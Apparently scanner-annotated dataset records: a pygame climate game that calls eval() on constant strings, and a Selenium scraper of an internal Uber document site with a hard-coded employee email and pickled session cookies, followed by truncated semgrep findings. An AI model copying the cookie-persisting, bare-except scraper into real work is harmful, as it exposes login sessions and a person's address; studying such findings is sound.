"blob_id": "d868ea090a733a04664cb48ed4c09b2648e6326b",
"branch_name": "refs/heads/master",
"committer_date": 1563233406000,
"content_id": "ac8da7845e95c449fc4c25c9f01e88b096aeb515",
"detected_licenses": [
"MIT"
],
"directory_id": "cdc4da1b1fa3f241fc7152da5d2278d408945dbc",
"extension": "py",
"filename": "main.py",
"fork_events_count": 41,
"gha_created_at": 1561411437000,
"gha_event_created_at": 1563120399000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 193582687,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 13592,
"license": "MIT",
"license_type": "permissive",
"path": "/just_jaguars/main.py",
"provenance": "stack-edu-0054.json.gz:570963",
"repo_name": "python-discord/code-jam-5",
"revision_date": 1563233406000,
"revision_id": "3c2a1d1937aeed89bb891f5b6f93a6ce053af42a",
"snapshot_id": "55d818a40ad496d4ce20fe65b1cf1fd292790955",
"src_encoding": "UTF-8",
"star_events_count": 32,
"url": "https://raw.githubusercontent.com/python-discord/code-jam-5/3c2a1d1937aeed89bb891f5b6f93a6ce053af42a/just_jaguars/main.py",
"visit_date": "2020-06-10T04:37:34.578233"
} | 2.75 | stackv2 | import pygame
from random import randint, choice
import config
# tutorial:
import tutorial
tutorial.__dict__ # because flake8 ;-;
# Boiler-plate:
pygame.init()
window = pygame.display.set_mode((config.window_width, config.window_height))
pygame.display.set_caption(config.window_title)
clock = pygame.time.Clock()
all_icons = pygame.sprite.Group() # All icons on the screen are put into this Group object.
# Fonts used:
pygame.font.init()
arial = pygame.font.SysFont('Arial MT', 30)
big_arial = pygame.font.SysFont('Arial', 120)
# Initial game state values:
atmospheric_ghg_levels = 0
num_of_green_energies = 0
num_of_fossil_fuels = 50
num_of_ghg_capture_techs = 0
energy_output = 20 * num_of_fossil_fuels + num_of_green_energies
capture_offset = num_of_ghg_capture_techs
percent_fossil_fuel = 100
percent_green_energy = 0
def percentage_update():
"""Updates the percentage of energy resources that are fossil fuels and green energies"""
total = (num_of_fossil_fuels + num_of_green_energies)
global percent_fossil_fuel, percent_green_energy
percent_fossil_fuel = int(100 * (num_of_fossil_fuels / total))
percent_green_energy = int(100 * (num_of_green_energies / total))
def pollute():
"""Increase the amount of greenhouse gas in the atmosphere"""
global atmospheric_ghg_levels
atmospheric_ghg_levels += num_of_fossil_fuels
def check_if_lost():
if atmospheric_ghg_levels >= config.greenhouse_gas_limit:
return True
elif energy_output < config.energy_demand:
return True
return False
def check_if_won():
if percent_fossil_fuel <= capture_offset:
return True
return False
def draw_ghg_levels_bar():
"""Draws the Atmospheric GHG Levels stat bar onto the screen"""
if atmospheric_ghg_levels <= config.greenhouse_gas_limit:
pygame.draw.rect(window, config.gray,
pygame.Rect(config.icon_spacing,
1.5 * config.icon_spacing,
config.stat_bar_width,
config.stat_bar_height))
pygame.draw.rect(window, config.dark_red,
pygame.Rect(config.icon_spacing,
1.5 * config.icon_spacing,
(config.stat_bar_width * atmospheric_ghg_levels)
/ config.greenhouse_gas_limit,
config.stat_bar_height))
else:
pygame.draw.rect(window, config.dark_red,
pygame.Rect(config.icon_spacing,
1.5 * config.icon_spacing,
config.stat_bar_width,
config.stat_bar_height))
text = arial.render('Atmospheric GHG Levels', False, (0, 0, 0))
window.blit(text, (config.icon_spacing, 0.5 * config.icon_spacing))
def draw_energy_demand_bar():
"""Draws the Energy Demand stat bar onto the screen """
if energy_output <= 2 * config.energy_demand:
pygame.draw.rect(window, config.gray,
pygame.Rect(config.icon_spacing,
1.5 * config.icon_spacing + config.window_height / 5,
config.stat_bar_width,
config.stat_bar_height))
pygame.draw.rect(window, config.yellow,
pygame.Rect(config.icon_spacing,
1.5 * config.icon_spacing + config.window_height / 5,
(config.stat_bar_width / 2)
* energy_output / config.energy_demand,
config.stat_bar_height))
else:
pygame.draw.rect(window, config.yellow,
pygame.Rect(config.icon_spacing,
1.5 * config.icon_spacing + config.window_height / 5,
config.stat_bar_width,
config.stat_bar_height))
pygame.draw.rect(window, config.black,
pygame.Rect(config.icon_spacing + config.stat_bar_width / 2 - 2,
1.5 * config.icon_spacing + config.window_height / 5 - 4,
4,
config.stat_bar_height + 8))
text = arial.render('Energy Output & Demand', False, (0, 0, 0))
window.blit(text, (config.icon_spacing, 0.5 * config.icon_spacing + config.window_height / 5))
def draw_ratio_bar():
"""Draws the Green Energy : Fossil Fuels ratio stat bar onto the screen"""
pygame.draw.rect(window, config.darkish_brown,
pygame.Rect(config.icon_spacing,
1.5 * config.icon_spacing + 2 * config.window_height / 5,
config.stat_bar_width,
config.stat_bar_height))
pygame.draw.rect(window, config.green,
pygame.Rect(config.icon_spacing,
1.5 * config.icon_spacing + 2 * config.window_height / 5,
config.stat_bar_width * percent_green_energy / 100,
config.stat_bar_height))
text = arial.render('Green Energy : Fossil Fuels', False, (0, 0, 0))
window.blit(text, (config.icon_spacing, 0.5 *
config.icon_spacing + 2 * config.window_height / 5))
def draw_emission_offset_bar():
"""Draws the Emissions Offset stat bar onto the screen"""
pygame.draw.rect(window, config.gray,
pygame.Rect(config.icon_spacing,
1.5 * config.icon_spacing + 3 * config.window_height / 5,
config.stat_bar_width,
config.stat_bar_height))
pygame.draw.rect(window, config.grayish_light_blue,
pygame.Rect(config.icon_spacing,
1.5 * config.icon_spacing + 3 * config.window_height / 5,
config.stat_bar_width * num_of_ghg_capture_techs / 100,
config.stat_bar_height))
text = arial.render('Emissions Offset', False, (0, 0, 0))
window.blit(text, (config.icon_spacing, 0.5 *
config.icon_spacing + 3 * config.window_height / 5))
def draw_stat_bars():
"""Draws all of the stat bars onto the screen and instructions to pause"""
draw_ghg_levels_bar()
draw_energy_demand_bar()
draw_ratio_bar()
draw_emission_offset_bar()
text = arial.render('Press P to Pause', False, (0, 0, 0))
window.blit(text, (config.icon_spacing + config.stat_bar_width / 4,
0.5 * config.icon_spacing + 4 * config.window_height / 5
+ config.stat_bar_height / 2))
class Icon(pygame.sprite.Sprite):
def __init__(self, energy_source, left_coordinate):
"""
Each icon has an image, an energy source, an energy type, and an
x-coordinate. Newly generated icons always start at the top of
the screen, i.e. their initial y-coordinates are always 0.
"""
pygame.sprite.Sprite.__init__(self)
self.image = energy_source
self.rect = self.image.get_rect()
self.rect.bottom = 0
self.rect.left = left_coordinate
if energy_source in config.fossil_fuel_types:
self.type = 'fossil fuel'
elif energy_source in config.green_energy_types:
self.type = 'green energy'
elif energy_source == config.ghg_capture_tech:
self.type = 'ghg capture tech'
def update(self):
"""
Every frame each icon falls down the screen at the specified
speed. When it reaches the bottom it is removed.
"""
self.rect.y += config.icon_speed
if self.rect.top > config.window_height:
self.kill()
def icon_clicked():
"""This runs if an icon is clicked."""
global num_of_fossil_fuels, num_of_green_energies, num_of_ghg_capture_techs
global energy_output, capture_offset
if event.button == 1: # Left-click
if icon.type == 'fossil fuel':
num_of_fossil_fuels += 1
energy_output += 20
elif icon.type == 'green energy':
num_of_green_energies += 1
energy_output += 1
else:
num_of_ghg_capture_techs += 1
capture_offset += 1
print([num_of_ghg_capture_techs, num_of_green_energies, num_of_fossil_fuels, energy_output])
percentage_update()
icon.kill()
elif event.button == 3: # Right-click
if icon.type == 'fossil fuel' and num_of_fossil_fuels > 0:
num_of_fossil_fuels -= 1
energy_output -= 20
elif icon.type == 'green energy' and num_of_green_energies > 0:
num_of_green_energies -= 1
energy_output -= 1
elif num_of_ghg_capture_techs > 0:
num_of_ghg_capture_techs -= 1
capture_offset -= 1
print([num_of_ghg_capture_techs, num_of_green_energies, num_of_fossil_fuels, energy_output])
percentage_update()
icon.kill()
else:
pass
"""
This list keeps track of all the rows created. It is used to create the
first row, and also to tell where the previous row created is located so
you know when enough space has gone by to create the next row.
"""
list_of_rows = []
def create_row():
"""This creates a list of icons. It does not display them to the screen."""
global list_of_rows
row = []
for i in range(config.number_of_icons_in_a_row):
n = randint(0, config.ghg_capture_icon_rarity)
if n == config.ghg_capture_icon_rarity:
energy = config.ghg_capture_technology
elif n % 2 == 0:
energy = choice(config.fossil_fuel_types)
else:
energy = choice(config.green_energy_types)
icon = Icon(energy, config.first_x_coordinate + i * (64 + config.icon_spacing))
row.append(icon)
list_of_rows.append(row)
return row
def display_row():
"""This creates a row of icons and displays them to the screen at the appropriate location."""
global list_of_rows
if len(list_of_rows) == 0:
row = create_row()
for icon in row:
all_icons.add(icon)
else:
for i in range(config.number_of_icons_in_a_row):
if list_of_rows[-1][i].rect.top < config.icon_spacing:
pass
else:
row = create_row()
for icon in row:
all_icons.add(icon)
# Used to make an FPS counter:
frames = 0
fps_text = arial.render('FPS: ?/60', False, (0, 0, 0)) # FPS counter text on screen
def fps_counter():
"""Displays an FPS counter on the screen"""
global frames, fps_text
if frames % 10 == 0: # Update FPS counter on screen every 10 frames
fps_displayed = str(int(clock.get_fps()))
fps_text = arial.render(f'FPS: {fps_displayed}/60', False, (0, 0, 0))
window.blit(fps_text, (0, config.window_height - 20))
pause = False
running = True
tint = 0
while running:
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
elif event.type == pygame.MOUSEBUTTONDOWN:
mouse_position = pygame.mouse.get_pos()
for icon in all_icons:
if icon.rect.collidepoint(mouse_position):
icon_clicked()
# Pause sequence:
elif event.type == pygame.KEYUP:
if event.key == pygame.K_p:
pause = True
while pause:
for event2 in pygame.event.get():
if event2.type == pygame.KEYUP:
if event2.key == pygame.K_p:
pause = False
elif event2.type == pygame.QUIT:
pause = False
running = False
window.fill(config.white)
pollute()
display_row()
draw_stat_bars()
all_icons.update()
all_icons.draw(window)
fps_counter()
frames += 1
pygame.display.update()
if check_if_lost() or check_if_won():
pause = True # pause the game
pygame.display.update()
if check_if_lost():
color = '(255-(64*tint), 255-(192*tint), 255-(255*tint))'
elif check_if_won():
color = '(255-(255*tint), 255, 255-(128*tint))'
else: # u wOT
continue
tint = 0
while tint <= 1:
window.fill(eval(color), special_flags=pygame.BLEND_MULT)
pygame.display.update()
tint += 0.05
clock.tick(config.fps)
from_color = eval(color)
tint = 0
while tint <= 1:
window.fill(eval(color))
pygame.display.update()
tint += 0.1
clock.tick(config.fps)
text = 'You '
if check_if_lost():
text += 'lost...'
elif check_if_won():
text += 'won!'
else: # u wOT
continue
ending_text = big_arial.render(text, False, (0, 0, 0))
window.blit(ending_text, (100, 100))
pygame.display.update()
while running:
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
clock.tick(config.fps)
pygame.quit()
| 381 | 34.67 | 100 | 17 | 3,033 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_7e6817c924d235b3_3317cd95", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 348, "line_end": 348, "column_start": 25, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/7e6817c924d235b3.py", "start": {"line": 348, "col": 25, "offset": 12725}, "end": {"line": 348, "col": 36, "offset": 12736}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_7e6817c924d235b3_5cb49ddc", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 353, "line_end": 353, "column_start": 22, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/7e6817c924d235b3.py", "start": {"line": 353, "col": 22, "offset": 12889}, "end": {"line": 353, "col": 33, "offset": 12900}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_7e6817c924d235b3_daf6a26e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 357, "line_end": 357, "column_start": 25, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/7e6817c924d235b3.py", "start": {"line": 357, "col": 25, "offset": 12968}, "end": {"line": 357, "col": 36, "offset": 12979}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-95",
"CWE-95",
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected",
"rules.python.lang.security.audit.eval-detected",
"rules.python.lang.security.audit.eval-detected"
] | [
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
348,
353,
357
] | [
348,
353,
357
] | [
25,
22,
25
] | [
36,
33,
36
] | [
"A03:2021 - Injection",
"A03:2021 - Injection",
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.",
"Detected the use of eval(). eval() can be dangerous if used... | [
5,
5,
5
] | [
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH"
] | main.py | /just_jaguars/main.py | python-discord/code-jam-5 | MIT | |
2024-11-18T19:23:06.783049+00:00 | 1,619,456,990,000 | 1dec05c548af0ec65328ecf05da464221e04206c | 3 | {
"blob_id": "1dec05c548af0ec65328ecf05da464221e04206c",
"branch_name": "refs/heads/main",
"committer_date": 1619456990000,
"content_id": "bdefaea6dc31d13efa9462081de3ccb5da620721",
"detected_licenses": [
"MIT"
],
"directory_id": "1aac782ec29aa67558448085e4562bf1679c7e9e",
"extension": "py",
"filename": "intento3.py",
"fork_events_count": 0,
"gha_created_at": 1616958787000,
"gha_event_created_at": 1616958788000,
"gha_language": null,
"gha_license_id": "MIT",
"github_id": 352416626,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6752,
"license": "MIT",
"license_type": "permissive",
"path": "/intento3.py",
"provenance": "stack-edu-0054.json.gz:570969",
"repo_name": "Chrisvimu/tesseract-python",
"revision_date": 1619456990000,
"revision_id": "830bd7691e14eec237920877563379c046650de1",
"snapshot_id": "1db1eefea4ef693c9f9726830cbcc39231229b9c",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/Chrisvimu/tesseract-python/830bd7691e14eec237920877563379c046650de1/intento3.py",
"visit_date": "2023-04-05T02:46:34.021631"
} | 2.515625 | stackv2 | import time
import unittest
import pickle
import csv
import os.path # < -- For checking if the file exists
from os import path # < -- For checking if the file exists
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.support import expected_conditions as EC #test look where it's used.
from selenium.webdriver.support.ui import WebDriverWait
from selenium import webdriver
import getpass # < -- IMPORT for login secure pssword
serverUrl = 'http://localhost:4444/wd/hub'
class HackerNewsSearchTest:
def __init__(self, path):
print('> Init WebDriver <')
try:
self.browser = webdriver.Chrome(executable_path=path)
except:
print('An exception occurred')
def login(self, doc_url): #Step One, works?
print('> Start execution login step <')
#Should use the below link but it dosen't work, so I'm using the above one untill I fix the process for image downloading
try:
url = 'https://partnertools.uberinternal.com/document/' + doc_url
self.browser
self.browser.get(url)
time.sleep(7)
self.fill_login_form()
self.cookies_to_file()
print('> End execution login step <')
except:
print('An exception occurred')
def fill_login_form(self):
try:
search_box = self.browser.find_element_by_id('username')
search_box.send_keys('christian.vimu@uber.com')
time.sleep(3)
#html = self.browser.page_source
#print('---------------------------------------------------')
#print(html) # this was to check if the page was working, and username was avaliable
self.browser.find_element_by_xpath('//*[@id="root"]/div/div[2]/div[1]/div[3]/form/div/div[3]/div/button').click()
time.sleep(6)
self.browser.find_element_by_xpath('//*[@id="password"]')
print('found it, going to sleep')
#This doesn't take into account the manual navigation of the driver, so for now I'll just manually do the Duolingo process
getpass.getpass("Press Enter after You are done logging in") #Press once inside google to begin scrapping:
time.sleep(3)
except:
print('An exception occurred')
def cookies_to_file(self):
try:
pickle.dump(self.browser.get_cookies(), open(r"C:\Users\Chris Villarroel\Documents\repo\test1\tesseract-python\costaRicaTaxResources\cookies\cookies.pkl","wb")) #Try 2
time.sleep(4)
except:
print('An exception occurred')
def show_cookies_in_console(self):
try:
print(f'> Browser Cookies: {self.browser.get_cookies()}')
except:
print('An exception occurred')
def set_cookies(self):
try:
cookies = pickle.load(open(r"C:\Users\Chris Villarroel\Documents\repo\test1\tesseract-python\costaRicaTaxResources\cookies\cookies.pkl","rb"))
for cookie in cookies:
self.browser.add_cookie(cookie)
except:
print('An exception occurred')
def download_images(self, docUuid):
try:
print('testing to download more images')
with open(r'C:\Users\Chris Villarroel\Documents\repo\test1\tesseract-python\costaRicaTaxResources\pictures\\' + docUuid + '.png', 'wb') as file:
if(self.browser.find_element_by_xpath('//*[@id="app-container-inner"]/div[3]/div/div[1]/div/img')):
l = self.browser.find_element_by_xpath('//*[@id="app-container-inner"]/div[3]/div/div[1]/div/img')
else:
print('----------- '+ docUuid +' ----------------')
file.write(l.screenshot_as_png)
except:
print('An exception occurred')
def read_csv_docs(self):
try:
filePath = (r'C:\Users\Chris Villarroel\Documents\repo\test1\tesseract-python\costaRicaTaxResources\report\report.csv')
print('> reading the CSV file <')
with open(filePath, "r" ) as theFile:
reader = csv.DictReader(theFile, delimiter=',')
ordered_dict_from_csv = list(reader)
return ordered_dict_from_csv
except:
print('An exception occurred')
def get_url_doc(self, dataFrame):
try:
dataForTesting = dict(dataFrame[0])
doc_url = dataForTesting['document_uuid']
return(doc_url)
except:
print('An exception occurred')
def go_to_file(self, dataFrame):
try:
print('> Start to execution go to file step <')
docUuid = self.get_url_doc(dataFrame)
url = 'https://partnertools.uberinternal.com/document/' + docUuid
self.browser.get(url)
self.set_cookies()
self.browser.refresh()
time.sleep(5)
for row in dataFrame:
docUuid = row['document_uuid']
if(path.exists(r'C:\Users\Chris Villarroel\Documents\repo\test1\tesseract-python\costaRicaTaxResources\pictures\\' + docUuid + '.png')):
print('-----------------Already scrapped----------------')
pass
else:
url = 'https://partnertools.uberinternal.com/document/' + docUuid
self.browser.get(url)
time.sleep(3)
self.download_images(docUuid)
print('--------------------------------------------------------')
print('> Finish to execution go to file step <')
except:
print('An exception occurred')
def tearDown(self):
try:
print('> Last step, cry <')
self.browser.quit()
except:
print('An exception occurred')
def orchestrator(self):
try:
dataFrame = self.read_csv_docs()
docTest = self.get_url_doc(dataFrame)
self.login(docTest)
#till here it's done, I need to do the for and go search the documents in a loop
self.go_to_file(dataFrame)
self.tearDown()
except:
print('An exception occurred')
if __name__ == "__main__":
try:
scrapper = HackerNewsSearchTest(r'C:\Users\Chris Villarroel\Documents\repo\test1\tesseract-python\costaRicaTaxResources\driver\chromedriver.exe')
scrapper.orchestrator()
except:
print('An exception occurred') | 160 | 41.21 | 179 | 19 | 1,411 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_950f30669d7dc9e8_9330a083", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 34, "column_start": 13, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/950f30669d7dc9e8.py", "start": {"line": 34, "col": 13, "offset": 1269}, "end": {"line": 34, "col": 26, "offset": 1282}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_950f30669d7dc9e8_69ed9fd0", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 45, "line_end": 45, "column_start": 13, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/950f30669d7dc9e8.py", "start": {"line": 45, "col": 13, "offset": 1648}, "end": {"line": 45, "col": 26, "offset": 1661}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_950f30669d7dc9e8_cf2eb436", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 50, "line_end": 50, "column_start": 13, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/950f30669d7dc9e8.py", "start": {"line": 50, "col": 13, "offset": 2016}, "end": {"line": 50, "col": 26, "offset": 2029}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_950f30669d7dc9e8_29050fff", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 55, "line_end": 55, "column_start": 13, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/950f30669d7dc9e8.py", "start": {"line": 55, "col": 13, "offset": 2412}, "end": {"line": 55, "col": 26, "offset": 2425}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_950f30669d7dc9e8_c30110d3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 61, "line_end": 61, "column_start": 13, "column_end": 173, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/950f30669d7dc9e8.py", "start": {"line": 61, "col": 13, "offset": 2542}, "end": {"line": 61, "col": 173, "offset": 2702}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_950f30669d7dc9e8_21fa2601", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 62, "line_end": 62, "column_start": 13, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, 